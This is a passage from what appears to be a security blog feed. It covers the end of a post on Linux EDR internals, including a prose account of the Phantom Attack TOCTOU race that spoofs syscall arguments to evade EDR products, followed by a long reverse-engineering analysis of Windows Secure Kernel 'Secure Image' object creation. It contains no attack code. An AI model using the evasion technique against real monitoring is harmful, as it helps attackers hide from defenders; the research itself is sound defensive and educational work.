Each Linux agent subscribed to a subset of the following OS-specific events.

  • security_bpf_map – Another program on the system can access or modify eBPF maps, but it usually requires the CAP_SYS_ADMIN or CAP_BPF capability. This means privileged users may be able to tamper with sensor data to silence or even spoof events. In response, some EDR agents monitor eBPF to protect their programs and maps.
  • security_ptrace_access_check – Monitors ptrace attempts.
  • security_netlink_send – Monitors netlink, an interface for sharing data between user-mode processes and the Linux kernel.
  • madvise – The author suspects some agents hooked this syscall to detect the exploitation of vulnerabilities like Dirty COW.

Case Study: Spoofing Linux Syscalls

Diving into an application often inspires security researchers to discover logical flaws that lead to unintended yet desirable results. The example highlighted in this section still affects popular commercial products, and the author hopes to inspire additional community research in this space.

Phantom Attack

At DEF CON 29, Rex Guo and Junyuan Zeng exploited a TOCTOU vulnerability for Falco and Tracee. Their exploit for “Phantom Attack v1” demonstrates an ability to spoof specific fields in some network (connect) and file (openat) events. The attack requires three separate threads, as shown below.

A flow diagram of the Linux Phantom V1 exploit
Phantom Attack Steps

A slight variation is required for the openat syscall, but it is conceptually similar. Ideally, the time-of-use (immediately after the page fault is handled) happens before benign data can be written to the original page. In practice, their POC was very reliable but required elevated privileges. According to its manual, userfaultfd requires the CAP_SYS_PTRACE capability since Linux 5.2. An alternative method of extending the TOCTOU window would be enough to exploit this vulnerability as a normal user.

Falco and Tracee used kernel function tracing, but they were vulnerable to the attack because they traced system calls instead of internal kernel functions. Arguments provided by user-mode were evaluated directly, including pointers to memory allocated by the calling process. As described above, some EDR agents monitored networking with syscall kprobes, implying they are likely vulnerable to the same attack. Indeed, Outflank’s fork of the “Phantom Attack v1” POC for connect worked against multiple EDR products in testing. As demonstrated below, the original code was modified to make an HTTP GET request to the target (in this case, google.com) and output the response.

A screenshot of an unnamed EDR console, proving it was affected by the TOCTOU vulnerability
Spoofing the Remote IP for connect

Outflank utilizes its knowledge of Windows, macOS, and Linux EDR to identify opportunities for evasion. In order to help other red teams easily implement these techniques and more, we’ve developed Outflank Security Tooling (OST), a broad set of evasive tools that allow users to safely and easily perform complex tasks. Consider scheduling an expert-led demo to learn more about the diverse offerings in OST.

The post EDR Internals for macOS and Linux appeared first on Outflank.

Windows Internals: Dissecting Secure Image Objects - Part 1

1 June 2024 at 00:00

Introduction

Recently I have been working on an un-published (at this time) blog post that will look at how securekernel.exe and ntoskrnl.exe work together in order to enable and support the Kernel Control Flow Guard (Kernel CFG) feature, which is enabled under certain circumstances on modern Windows systems. This comes from the fact that I have recently been receiving questions from others on this topic. During the course of my research, I realized that a relatively-unknown topic that kept reappearing in my analysis was the concept of Normal Address Ranges (NARs) and Normal Address Table Entries (NTEs), sometimes referred to as NT Address Ranges or NT Address Table Entries. The only mention I have seen of these terms comes from Windows Internals 7th Edition, Part 2, Chapter 9, which was written by Andrea Allievi. The more I dug in, the more I realized this topic could probably use its own blog post.

However, when I started working on that blog post I realized that the concept of “Secure Image Objects” also plays into NAR and NTE creation. Because of this, I realized I maybe could just start with Secure Image objects!

Given the lack of debugging capabilities for securekernel.exe, lack of user-defined types (UDTs) in the securekernel.exe symbols, and overall lack of public information, there is no way (as we will see) I will be able to completely map Secure Image objects back to absolute structure definitions (and the same goes with NAR/NTEs). This blog (and subsequent ones) are really just analysis posts outlining things such as Secure System Calls, functionality, the reverse engineering methodology I take, etc. I am not an expert on this subject matter (like Andrea, Satoshi Tanda, or others) and mainly writing up my analysis for the sheer fact there isn’t too much information out there on these subjects and I also greatly enjoy writing long-form blog posts. With that said, the “song-and-dance” performed between NT and Secure Kernel to load images/share resources/etc. is a very complex (in my mind) topic. The terms I use are based on the names of the functions, and may differ from the actual terms as an example. So please feel free to reach out with improvements/corrections. Lastly, Secure Image objects can be created for other images other than drivers. We will be focusing on driver loads. With this said, I hope you enjoy!

SECURE_IMAGE Overview

Windows Internals, 7th Edition, Chapter 9 gives a brief mention of SECURE_IMAGE objects:

…The NAR contains some information of the range (such as its base address and size) and a pointer to a SECURE_IMAGE data structure, which is used for describing runtime drivers (in general, images verified using Secure HVCI, including user mode images used for trustlets) loaded in VTL 0. Boot-loaded drivers do not use the SECURE_IMAGE data structure because they are treated by the NT memory manager as private pages that contain executable code…

As we know with HVCI (at the risk of being interpreted as pretentious, which is not my intent, I have linked my own blog post), VTL 1 is responsible for enforcing W^X (write XOR execute, meaning WX memory is not allowed). Given that drivers can be dynamically loaded at anytime on Windows, VTL 0 and VTL 1 need to work together in order to ensure that before such drivers are actually loaded, the Secure Kernel has the opportunity to apply the correct safeguards to ensure the new driver isn’t used, for instance, to load unsigned code. This whole process starts with the creation of the Secure Image object.

This is required because the Secure Kernel needs to monitor access to some of the memory present in VTL 0, where “normal” drivers live. Secure Image objects allow the Secure Kernel to manage the state of these runtime drivers. Managing the state of these drivers is crucial to enforcing many of the mitigations provided by virtualization capabilities, such as HVCI. A very basic example of this is when a driver is being loaded in VTL 0, we know that VTL 1 needs to create the proper Second Layer Address Translation (SLAT) protections for each of the given sections that make up the driver (e.g., the .text section should be RX, .data RW, etc.). In order for VTL 1 to do that, it would likely need some additional information and context, such as maybe the address of the entry point of the image, the number of PE sections, etc. - this is the sort of thing a Secure Image object can provide - which is much of the needed context that the Secure Kernel needs to “do its thing”.

This whole process starts with code in NT which, upon loading runtime drivers, results in NT extracting the headers from the image being loaded and sending this information to the Secure Kernel in order to perform the initial header verification and build out the Secure Image object.

I want to make clear again - although the process for creating a Secure Image object may start with what we are about to see in this blog post, even after the Secure System Call returns to VTL 0 in order to create the initial object, there is still a “song-and-dance” performed by ntoskrnl.exe, securekernel.exe, and skci.dll. This specific blog does not go over this whole “song-and-dance”. This blog will focus on the initial steps taken to get the object created in the Secure Kernel. In future blogs we will look at what happens after the initial object is created. For now, we will just stick with the initial object creation.

A Tiny Secure System Call Primer

Secure Image object creation begins through a mechanism known as a Secure System Call. Secure System Calls work at a high-level similarly to how a traditional system call works:

  1. An untrusted component (NT in this case) needs to access a resource in a privileged component (Secure Kernel in this case)
  2. The privileged component exposes an interface to the untrusted component
  3. The untrusted component packs up information it wants to send to the privileged component
  4. The untrusted component specifies a given “call number” to indicate what kind of resource it needs access to
  5. The privileged component takes all of the information, verifies it, and acts on it

A “traditional” system call will result in the emission of a syscall assembly instruction, which performs work in order to change the current execution context from user-mode to kernel-mode. Once in kernel-mode, the original request reaches a specified dispatch function which is responsible for servicing the request outlined by the System Call Number. Similarly, a Secure System Call works almost the same in concept (but not necessarily in the technical implementation). Instead of syscall, however, a vmcall instruction is emitted. vmcall is not specific to the Secure Kernel and is a general opcode in the 64-bit instruction set. A vmcall instruction simply allows guest software (in our case, as we know from HVCI, VTL 0 - which is where NT lives - is effectively treated as “the guest”) to make a call into the underlying VM monitor/supervisor (Hyper-V). In other words, this results in a call into Secure Kernel from NT.

The NT function nt!VslpEnterIumSecureMode is a wrapper for emitting a vmcall. The thought process can be summed up, therefore, as this: if a given function invokes the nt!VslpEnterIumSecureMode function in NT, that caller of said function is responsible (generally speaking mind you) of invoking a Secure System Call.

Although performing dynamic analysis on the Secure Kernel is difficult, one thing to note here is that the order the Secure Systm Call arguments are packed and shipped to the Secure Kernel is the same order the Secure Kernel will operate on them. So, as an example, the function nt!VslCreateSecureImageSection is one of the many functions in NT that results in a call to nt!VslpEnterIumSecureMode.

The Secure System Call Number, or SSCN, is stored in the RDX register. The R9 register, although not obvious from the screenshot above, is responsible for storing the packed Secure System Call arguments. These arguments are packed in the form of a in-memory typedef struct structure (which we will look at later).

On the Secure Kernel side, the function securekernel!IumInvokeSecureService is a very large function which is the “entry point” for Secure System Calls. This contains a large switch/case statement that correlates a given SSCN to a specific dispatch function handler. The exact same order these arguments are packed is the exact same order they will be unpacked and operated on by the Secure Kernel (in the screenshot below, a1 is the address of the structure, and we can see how various offsets are being extracted from the structure, which is due to struct->Member access).

Now that we have a bit of an understanding here, let’s move on to see how the Secure System Call mechanism is used to help Secure Kernel create a Secure Image object!

SECURE_IMAGE (Non-Comprehensive!) Creation Overview

Although by no means is this a surefire way to identify this data, a method that could be employed to locate the functionality for creating Secure Image objects is to just search for terms like SecureImage in the Secure Kernel symbols. Within the call to securekernel!SkmmCreateSecureImageSection we see a call to an externally-imported function, skci!SkciCreateSecureImage.

This means it is highly likely that securekernel!SkmmCreateSecureImageSection is responsible for accepting some parameters surrounding the Secure Image object creation and forwarding that on to skci!SkciCreateSecureImage. Focusing our attention on securekernel!SkmmCreateSecureImageSection we can see that this functionality (securekernel!SkmmCreateSecureImageSection) is triggered through a Secure System Call with an SSCN of 0x19 (the screenshot below is from the securekernel!IumInvokeSecureService Secure System Call dispatch function).

Again, by no means is this correct in all cases, but I have noticed that most of the time when a Secure System Call is issued from ntoskrnl.exe, the corresponding “lowest-level function”, which is responsible for invoking nt!VslpEnterIumSecureMode, has a similar name to the associated sispatch function in securekernel.exe which handles the Secure System Call. Luckily this applies here and the function which issues the SSCN of 0x19 is the nt!VslCreateSecureImageSection function.

Based on the call stack here, we can see that when a new section object is created for a target driver image being loaded, the ci.dll module is dispatched in order to determine if the image is compatible with HVCI (if it isn’t, STATUS_INVALID_IMAGE_HASH is returned). Examining the parameters of the Secure System Call reveals the following.

Note that at several points I will have restarted the machine the analysis was performed on and due to KASLR the addresses will change. I will provide enough context in the post to overcome this obstacle.

With Secure System Calls, the first parameter (seems to be) always 0 and/or reserved. This means the arguments to create a Secure Image object are packed as follows.

typedef struct _SECURE_IMAGE_CREATE_ARGS
{
    PVOID Reserved;
    PVOID VirtualAddress;
    PVOID PageFrameNumber;
    bool Unknown;
    ULONG Unknown;
    ULONG Unknown1;
} SECURE_IMAGE_CREATE_ARGS;

As a small point of contention, I know that the page frame number is such because I am used to dealing with looking into memory operations that involve both physical and virtual addresses. Anytime I see I am dealing with some sort of lower-level concept, like loading a driver into memory and I see a value that looks like a ULONG paired with a virtual address, I always assume this could be a PFN. I always assume this further in cases especially when the ULONG value is not aligned. A physical memory address is simply (page frame number * 0x1000), plus any potential offset. Since there is not 0 or 00 at the end of the address, this tells me that this is the page frame number. This is not a “sure” method to do this, but I will show how I validated this below.

At first, I was pretty stuck on what this first virtual address was used for. We previously saw the call stack which is responsible for invoking nt!VslCreateSecureImageSection. If you trace execution in IDA, however, you will quickly see this call stack is a bit convoluted as most of the functions called are called via function pointer as an input parameter from other functions making tracing the arguments a bit difficult. Fortunately, I saw that this virtual address was used in a call to securekernel!SkmmMapDataTransfer almost immediately within the Secure System Call handler function (securekernel!SkmmCreateSecureImageSection). Note although IDA is annotated a bit with additional information, we will get to that shortly.

It seems this function is actually publicly-documented thanks to Saar Amar and Daniel King’s BlackHat talk! This actually reveals to us that the first argument is an MDL (Memory Descriptor List) while the second parameter, which is PageFrameNumber, is a page frame number which we don’t know its use yet.

According to the talk, securekernel.exe tends to use MDLs, which are provided by VTL 0, for cases where data may need to be accessed by VTL 1. By no means is this an MDL internals post, but I will give a brief overview quickly. An MDL (nt!_MDL) is effectively a fixed-sized header which is prepended to a variable-length array of page frame numbers (PFNs). Virtual memory, as we know, is contiguous. The normal size of a page on Windows is 4096, or 0x1000 bytes. Using a contrived example (not taking into account any optimizations/etc.), let’s say a piece of malware allocated 0x2000 bytes of memory and stored shellcode in that same allocation. We could expect the layout of memory to look as follows.

We can see in this example the shellcode spans the virtual pages 0x1ad2000 and 0x1ad3000. However, this is the virtual location, which is contiguous. In the next example, the reality of the situation creeps in as the physical pages which back the shellcode are in two separate locations.

An MDL would be used in this case to describe the physical layout of the memory of a virtual memory region. The MDL is used to say “hey I have this contiguous buffer in virtual memory, but here are the physical non-contiguous page(s) which describe this contiguous range of virtual memory”.

MDLs are also typically used for direct memory access (DMA) operations. DMA operations don’t have the luxury of much verification, because they need to access data quickly (think UDP vs TCP). Because of this an MDL is used because it typically first locks the memory range described into memory so that the DMA operation doesn’t ever access invalid memory.

One of the main features of an MDL is that it allows multiple mappings for the given virtual address a given MDL described (the StartVa is the beginning of the virtual address range the MDL describes). For instance, consider an MDL with the following layout: a user-mode buffer is described by an MDL’s StartVa. As we know, user-mode addresses are only valid within the process context of which they reside (and the address space is per-process based on the current page table directory loaded into the CR3 register). Let’s say that a driver, which is in an arbitrary context needs to access the information in the user-mode buffer contained in Mdl->StartVa. If the driver goes to access this, and the process context is processA.exe but the address was only valid in processB.exe, you are accessing invalid memory and you would cause a crash.

An MDL allows you, through the MmGetSystemAddressForMdlSafe API, to actually request that the system map this memory into the system address space, from the non-paged pool. This allows us to access the contents of the user-mode buffer, through a kernel-mode address, in an arbitrary process context.

Now, using that knowledge, we can see that the exact same reason VTL 0 and VTL 1 use MDLs! We can think of VTL 0 as the “user-mode” portion, and VTL 1 as the “kernel-mode” portion, where VTL 0 has an address with data that VTL 1 wants. VTL 1 can take that data (in the form of an MDL) and map it into VTL 1 so it can safely access the contents of memory described by the MDL.

Taking a look back at how the MDL looks, we can see that StartVa, which is the buffer the MDL describes, is some sort of base address. We can confirm this is actually the base address of an image being loaded because it contains nt!_IMAGE_DOS_HEADER header (0x5a4d is the magic (MZ) for a PE file and can be found in the beginning of the image, which is what a kernel image is).

However, although this looks to be the “base image”, based on the alignment of Mdl->StartVa, we can see quickly that ByteCount tells us only the first 0x1000 bytes of this memory allocation are accessible via this MDL. The ByteCount of an MDL denotes the size of the range being described by the MDL. Usually the first 0x1000 bytes of an image are reserved for all of the headers (IMAGE_DOS_HEADER, IMAGE_FILE_HEADER, etc.). If we recall the original call stack (provided below for completeness) we can actually see that the NT function nt!SeValidateImageHeader is responsible for redirecting execution to ci.dll (which eventually results in the Secure System Call). This means in reality, although the StartVa is aligned to look like a base address, we are really just dealing with the headers of the target image at this point. Even though the StartVa is aligned like a base address, the fact of the matter is the actual address is not relevant to us - only the headers are.

As a point of contention before we move on, we can do basic retroactive analysis based on the call stack to clearly see that the image has only been mapped into memory. It has not been fully loaded - and only the initial section object that backs the image is present in virtual memory. As we do more analysis in this post, we will also verify this to be the case with actual data that shows many of the default values in the headers, from disk, haven’t been fixed up (which normally happens when the image is fully loaded).

Great! Now that we know this first paramter is an MDL that contains the image headers, the next thing that needs to happen is for securekernel.exe to figure out how to safely access the contents region described by the MDL (which are the headers).

The first thing that VTL 1 will do is take the MDL we just showed, provided by VTL 0, and creates a new MDL in VTL 1 that describes the provided MDL from VTL 0. In other words, the new MDL will be laid out as follows.

Vtl1CopyOfVtl0Mdl->StartVa = page_aligned_address_mdl_starts_in;
Vtl1CopyOfVtl0Mdl->ByteOffset = offset_from_page_aligned_address_to_actual_address;

MDLs usually work with a page-aligned address as the base, and any offset in ByteOffset. This is why the VTL 0 MDL is address is first page-aligned (Vtl0Mdl & 0xFFFFFFFFFFFFF000), and the offset to the MDL in the page is set in ByteOffset.

Additionally, from the previous image, we can now realize what the first page frame number used in our Secure System Call parameters is used for. This is the PFN which corresponds to the MDL (the parameter PfnOfVtl0Mdl). We can validate this in WinDbg.

We know that a physical page of memory is simply (page frame number * PAGE_SIZE + any offset). Although we can see in the previous screenshot that the contents of memory for the page-aligned address of the MDL and the physical memory correspond, if we add the page offset (0x250 in this case) we can clearly see that there is no doubt this is the PFN for the VTL 0 MDL. We can additionally see that for the PTE of the VTL0 MDL the PFNs align!

This MDL, after construction, has StartVa mapped into VTL 1. At this point, for all intents and purposes, vtl1MdlThatDescribesVtl0Mdl->MappedSystemVa contains the VTL 1 mapping of the VTL 0 MDL! All integrity checks are then performed on the MDL.

VTL 1 has now mapped the VTL 0 MDL (using another MDL). MappedSystemVa is now a pointer to the VTL 1 mapping of the VTL 0 MDL, and the integrity checks now occur on this new mapping, instead of directly operating on the VTL 0 MDL. After confirming the VTL 0 MDL contains legitimate data (the large if statement in the screenshot below), another MDL (not the MDL from VTL 0, not the MDL created by VTL 1 to describe the MDL from VTL 0, but a third, new MDL) is created. This MDL will be an actual copy of the now verified contents of the VTL 0 MDL. In otherwords, thirdNewMDl->StartVa = StartAddressOfHeaders (which is start of the image we are dealing with in the first place to create a securekernel!_SECURE_IMAGE structure).

We can now clearly see that since VTL 1 has created this new MDL, the page frame number (PFN) of the VTL 0 MDL was provided since a mapping of virtual memory is simply just creating another virtual page which is backed by a common physical page. When the new MDL is mapped, the Secure Kernel can then use NewMdl->MappedSystemVa to safely access, in the Secure Kernel virtual address space, the header information provided by the MDL from VTL 0.

The VTL 1 MDL, which is mapped into VTL 1 and has now had all contents verified. We now return back to the original caller where we started in the first place - securekernel!SkmmCreateSecureImageSection. This then allows VTL 1 to have a memory buffer where the contents of the image from VTL 0 resides. We can clearly see below this is immediately used in a call to RtlImageNtHeaderEx in order to validate that the memory which VTL 0 sent in the first place contains a legitimate image in order to create a securekernel!_SECURE_IMAGE object. It is also at this point that we determine if we are dealing with the 32-bit or 64-bit architecture.

More information is then gathered, such as the size of the optional headers, the section alignment, etc. Once this information is flushed out, a call to an external function SkciCreateSecureImage is made. Based on the naming convention, we can infer this function resides in skci.dll.

We know in the original Secure System Call that the second parameter is the PFN which backs the VTL 0 MDL. UnknownUlong and UnknownUlong1 here are the 4th and 5th parameters, respectively, passed to securekernel!SkmmCreateSecureImageSection. As of right now we also don’t know what they are. The last value I noticed was consistently this 0x800c constant across multiple calls to securekernel!SkmmCreateSecureImageSection.

Opening skci.dll in IDA, we can examine this function further, which seemingly is responsible for creating the secure image.

Taking a look into this function a bit more, we can see this function doesn’t create the object itself but it creates a “Secure Image Context”, which on this build of Windows is 0x110 bytes in size. The first function called in skci!SkciCreateSecureImage is skci!HashKGetHashLength. This is a very simple function, and it accepts two parameters - one an input and one an output or return. The input parameter is our last Secure System Call parameter, which was 0x800C.

Although IDA’s decompilation here is a bit confusing, what this function does is look for a few constant values - one of the options is 0x800C. If the value 0x800C is provided, the output parameter (which is the hash size based on function name and the fact the actual return value is of type NTSTATUS) is set to 0x20. This effectively insinuates that since obviously 0x800C is not a 0x20 byte value, nor a hash, that 0x800C must instead refer to a type of hash which is likely associated with an image. We can then essentially say that the last Secure System Call parameter for secure image creation is the “type” of hash associated with this image. In fact, looking at cross references to this function reveals that the function skci!CiInitializeCatalogs passes the parameter skci!g_CiMinimumHashAlgorithm as the first parameter to this function - meaning that the first parameter actually specifies the hash algorithm.

After calculating the hash size, the Secure Image Context is then built out. This starts by obtaining the Image Headers (nt!_IMAGE_NT_HEADERS64) headers for the image. Then the Secure Image Context is allocated from the pool and initialized to 0 (this is how we know the Secure Image Context is 0x110 bytes in size). The various sections contained in the image are used to build out much of the information tracked by the Secure Image Context.

Note that UnknownULong1 was updated to ImageSize. I wish I had a better way to explain as to how I identified this, but in reality it happenstance as I was examining the optional headers I realized I had seen this value before. See the image below to validate that the value from the Secure System Call arguments corresponds to SizeOfImage.

One thing to keep in mind here is a SECURE_IMAGE object is created before ntoskrnl.exe has had a chance actually perform the full loading of the image. At this point the image is mapped into virtual memory, but not loaded. We can see this by examining the nt!_IMAGE_NT_HEADERS64 structure and seeing that ImageBase in the nt!_IMAGE_OPTIONAL_HEADER64 structure is still set to a generic 0x1c0000000 address instead of the virtual address which the image is currently mapped (because this information has not yet been updated as part of the loading process).

Next in the Secure Image Context creation functionality, the Secure Kernel locates the .rsrc section of the image and the Resource Data Directory. This information is used to calculate the file offset to the Resource Data Directory and also captures the virtual size of the .rsrc section.

After this skci!SkciCreateSecureImage will, if the parameter we previously identified as UnknownBool is set to true, allocate some pool memory which will be used in a call to skci!CiCreateVerificationContextForImageGeneratedPageHashes. This infers to us the “unknown bool” is really an indicator whether or not to create the Verification Context. A context, in this instance, refers to some memory (usually in the form of a structure) which contains information related to the context in which something was created, but wouldn’t be available later otherwise.

The reader should know - I asked Andrea a question about this. The answer here is that a file can either be page-hashed or file-hashed signed. Although the bool gates creating the Verification Context, it is more aptly used to describe if a file is file-hashed or page-hashed. If the image is file-hashed signed, the Verification Context is created. For page-hashed files there is no need for the additional context information (we will see why shortly).

This begs the question - how do we know if we are dealing with a file that was page-hashed signed or file-hash signed? Taking a short detour, this starts in the initial section object creation (nt!MiCreateNewSection). During this time a bitmask, based on the parameters surrounding the creation of the section object that will back the loaded driver is formed. A partially-reversed CREATE_SECTION_PACKET structure from my friend Johnny Shaw outlines this. Packet->Flags is one of the main factors that dictates how this new bitmask is formulated. In the case of the analysis being done in this blog post, when bit 21 (PacketFlags & 0x100000) and when bit 6 (PacketFlags & 0x20) are set, we get the value for our new mask - which has a value of 0x40000001. This bitmask is then carried through to the header validation functions, as seen below.

This bitmask will finally make its way to ci!CiGetActionsForImage. This call, as the name infers, returns another bitmask based on our 0x40000001 bitmask. The caller of ci!CiGetActionsForImage is ci!CiValidateImageHeader. This new returned bitmask gives instructions to the header validation function as to what actions to take for validation.

As previous art shows, depending on the bitmask returned the header validation is going to be done via page hash validation, or file hash validation by supplying a function pointer to the actual validation function.

The two terms (page-hash signed and file-hash signed) can be very confusing - and there is very little information about them in the wild. A file-hashed file is one that has the entire contents of the file itself hashed. However, we must consider things like a driver being paged out and paged in. When an image is paged in, for instance, it needs to be validated. Images in this case are always verified using page hashes, and never file hashes (I want to make clear I only know the following information because I asked Andrea). Because a file-hashed file would not have page hash information available (obviously since it is “file-hashed”), skci.dll will create something called a “Page Hash Context” (which we will see shortly) for file-hashed images so that they are compatible with the requirement to verify information using page hashes.

As a point of contention, this means we have determined the arguments used for a Secure Image Secure System Call.

typedef struct _SECURE_IMAGE_CREATE_ARGS
{
    PVOID Reserved;
    PVOID Vtl0MdlImageHeaders;
    PVOID PageFrameNumberForMdl;
    bool ImageeIsFileHashedCreateVerificationContext;
    ULONG ImageSize;
    ULONG HashAlgorithm;
} SECURE_IMAGE_CREATE_ARGS;

Moving on, the first thing this function (since we are dealing with a file-hashed image) does is actually call two functions which are responsible for creating additional contexts - the first is an “Image Hash Context” and the second is a “Page Hash Context”. These contexts are stored in the main Verification Context.

skci!CiCreateImageHashContext is a relatively small wrapper that simply takes the hashing algorithm passed in as part of the Secure Image Secure System Call (0x800C in our case) and uses this in a call to skci!SymCryptSha256Init. skci!SymCryptSha256Init takes the hash algorithm (0x800C) and uses it to create the Image Hash Context for our image (which really isn’t so much a “context” as it mainly just contains the size of the hash and the hashing data itself).

The Page Hash Context information is only produced for a file-hashed image. Otherwise file-hashed images would not have a way to be verified in the future as only page hashes are used for verification of the image. Page Hash Context are slightly more involved, but provide much of the same information. skci!CiCreatePageHashContextForImageMapping is responsible for creating this context and VerificationContext_Offset_0x108 stores the actual Page Hash Context.

The Page Hash Context logic begins by using SizeOfRawData from each of the section headers (IMAGE_SECTION_HEADER) to iterate over of the sections available in the image being processed and to capture how many pages make up each section (determines how many pages make up all of the sections of the image).

This information, along with IMAGE_OPTIONAL_HEADER->SizeOfHeaders, the size of the image itself, and the number of pages that span the sections of the image are stored in the Page Hash Context. Additionally, the Page Hash Context is then allocated based on the size of the sections (to ensure enough room is present to store all of the needed information).

After this, the Page Hash Context information is filled out. This begins by only storing the first page of the image in the Page Hash Context. The rest of the pages in each of the sections of the target image are filled out via skci!SkciValidateImageData, which is triggered by a separate Secure System Call. This comes at a later stage after the current Secure System Call has returned but before we have left the original nt!MiCreateNewSection function. We will see this in a future blog post.

Now that the initial Verification Context (which contains also the Page Hash and Image Hash Contexts) have been created (but as we know will be updated with more information later), skci!SkciCreateSecureImage will then sort and copy information from the Image Section Headers and store them in the Verification Context. This function will also calculate the file offset for the last section in the image by computing PointerToRawData + SizeOfRawData in the skci!CiGetFileOffsetAfterLastRawSectionData function.

After this, the Secure Image Context creation work is almost done. The last thing this function does is compute the hash of the first page of the image and stores it in the Secure Image Context directly this time. This also means the Secure Image Context is returned by the caller of skci!SkciCreateSecureImage, which is the Secure Kernel function servicing the original Secure System Call.

Note that previously we saw skci!CiAddPagesToPageHashContext called within skci!CiCreatePageHashContextForImageMapping. In the call in the above image, the fourth parameter is SizeOfHeaders, but in the call within skci!CiCreatePageHashContextForImageMapping the parameter was MdlByteCount - which is the ByteCount provided earlier by the MDL in the Secure System Call arguments. In our case, SizeOfHeaders and the ByteCount are both 0x1000 - which infers that when the MDL is constructured, the ByteCount is set to 0x1000 based on the SizeOfHeaders from the Optional Header. This validates what we mentioned at the beginning of the blog where although the “base address” is used as the first Secure System Call parameter, this could be more specifically referred to as the “headers” for the image.

The Secure Kernel maintains a table of all active Secure Images that are known. There are two very similar tables, which are used to track threads and NARs (securekernel!SkiThreadTable/securekernel!SkiNarTable). These are of type “sparse tables”. A sparse table is a computer science concept that effectively works like a static array of data, but instead of it being unordered the data is ordered which allows for faster lookups. It works by supporting 0x10000000, or 256,000 entries. Note that these entries are not all allocated at once, but are simply “reserved” in the sense that the entries that are not in use are not mapped.

Secure Images are tracked via the securekernel!SkmiImageTable symbol. This table, as a side note, is initialized when the Secure Kernel initializes. The Secure Pool, the Secure Image infrastructure, and the Code Integrity infrastructure are initialized after the kernel-mode user-shared data page is mapped into the Secure Kernel.

The Secure Kernel first allocates an entry in the table where this Secure Image object will be stored. To calculate the index where the object will be stored, securekernel!SkmmAllocateSparseTableEntry is called. This creates a sizeof(ULONG_PTR) “index” structure. This determines the index into the table where the object is stored. In the case of storing a new entry, on 64-bit, the first 4 bytes provide the index and the last 4 bytes are unused (or, if they are used, I couldn’t see where). This is all done back in the original function securekernel!SkmmCreateSecureImageSection, after the function which creates the Secure Image Context has returned.

As we can also see above, this is where our actual Secure Image object is created. As the functionality of securekernel!SkmmCreateSecureImageSection continues, this object will get filled out with more and more information. Some of the first data collected is if the image is already loaded in a valid kernel address. From the blog earlier, we mentioned the Secure Image loading occurs when an image is first mapped but not loaded. This seems to infer it is possible for a Secure Image to be at least already loaded at a valid kernel-mode address. If it is loaded, a bitwise OR happens with a mask of 0x1000 to indicate this. The entry point of the image is captured, and the previously-allocated Secure Image Context data is saved. Also among the first information collected is the Virtual Address and Size of the Load Config Data Directory.

The next items start by determining if the image being loaded is characterized as a DLL (this is technically possible, for example, ci.dll is loaded into kernel-mode) by checking if the 13th bit is set in the FileHeader.Characteristics bitmask.

After this, the Secure Image creation logic will create an allocation based on the size of the image from NtHeaders->OptionalHeader->SizeOfImage. This allocation is not touched again during the initialization logic.

At this point, for each of the sections in the image, the prototype PTEs for the image (via securekernel!SkmiPopulateImagePrototypes) are populated. If you are not familiar, when a shared memory region is shared for, as an example, between two-processes an issue arises at the PTE level. A prototype PTE allows easily for the memory manager to track pages that are shared between two processes. As even Windows Internals, 7th Edition, Part 1, Chapter 5 states - prototype PTEs are created for a pagefile-backed section object when it is first created. The same this effectively is happening here, but instead of actually creating the prototype PTEs (because this is done in VTL 0), the Secure Kernel now obtains a pointer to the prototype PTEs.

After this, additional section data and relocation information for the image is captured. This first starts by checking if the relocation information is stripped and, if the information hasn’t been stripped, the code captures the Image Data Directory associated with relocation information.

The next thing that occurs is, again, each of the present sections is iterated over. This is done to capture some important information about each section in a memory allocation that is stored in the Secure Image object. Specifically here, relocation information is being processed. The Secure Image object creation logic will first allocate some memory in order to store the Virtual Address page number, size of the raw data in number of pages, and pointer to raw data for the section header that is currently being processed. As a part of each check, the logic determines if the relocation table falls within the range of the current section. If it does, the file offset to the relocation table is calculated and stored in the Secure Image object.

Additionally, we saw previously that if the relocation information was stripped out of the image, the Secure Image object (at offset 0x50 and 0x58) were updated with values of false and true, 0 and 1, respectively. This seems to indicate why the relocation information may not be present. In this case, however, if the relocation information wasn’t stripped but there legitimately was no relocation information available (the Image Data Directory entry for the relocation data was zero), these boolean values are updated to true and false, 1 and 0, respectively. This would seem to indicate to the Secure Image object why the relocation information may or may not be present.

The last bits of information the Secure Image object creation logic processes are:

  1. Is the image being processed a 64-bit executable image or are the number of data directories at least 10 decimal in amount to support the data directory we want to capture? If not, skip step 2.
  2. If the above is true, allocate and fill out the “Dynamic Relocation Data”

As a side-note, I only determines the proper name for this data is “Dynamic Relocation Data” because of the routine securekernel!SkmiDeleteImage - which is responsible for deleting a Secure Image object when the object’s reference count reaches 0 (after we get through this last bit of information that is processed, we will talk about this routine in more detail). In the securekernel!SkmiDeleteImage logic, a few pointers in the object itself are checked to see if they are allocated. If they are, they are freed (this makes sense, as we have seen there have been many more memory allocations than just the object itself). SecureImageObject + 0xB8 is checked as a place in the Secure Image object that is allocated. If the allocation is present, a function called securekernel!SkmiFreeDynamicRelocationInfo is called to presumably free this memory.

This would indicate that the “Dynamic Relocation Data” is being created in the Secure Image object creation logic.

The information captured here refers to the load configuration Image Data Directory. The information about the load config data is verified, and the virtual address and size are captured and stored in the Secure Image object. This makes sense, as the dynamic relocation table is just the load config directory of an executable.

This is the last information the Secure Image object needs for the initialization (we know more information will be collected after this Secure System Call returns)! Up until this point, the last parameter we haven’t touched in the securekernel!SkmmCreateSecureImageSection function is the last parameter, which is actually an output parameter. The output parameter here is filled with the results of a call to securekernel!SkobCreateHandle.

If we look back at the initial Secure System Call dispatch function, this output parameter will be stored in the original Secure System Call arguments at offset 0x10 (16 decimal)

This handle is also stored in the Secure Image object itself. This also infers that when a Secure Image object is created, a handle to the object is returned to VTL 0/NT! This handle is eventually stored in the control area for the section object which backs the image (in VTL 0) itself. This is stored in ControlArea->u2.e2.SeImageStub.StrongImageReference.

Note that this isn’t immediately stored in the Control Area of the section object. This happens later, as we will see in a subsequent blog post, but it is something at least to note here. As another point of contention, the way I knew this handle would eventually be stored here is because when I was previously doing analysis on NAR/NTE creation, which we will eventually talk about, this handle value was the first parameter passed as part of the Secure System Call.

This pretty much sums up the instantiation of the initial Secure Image object. The object is now created but not finalized - much more data still needs to be validated. Because this further validation happens after the Secure System Call returns, I will put that analysis into another blog post. The future post we will look at what ntoskrnl.exe, securekernel.exe, and skci.dll do with this object after the initial creation before the image is actually loaded fully into VTL 0. Before we close the blog post, it is worth taking a look the object itself and how it is treated by the Secure Kernel.

Secure Image Objects - Now What?

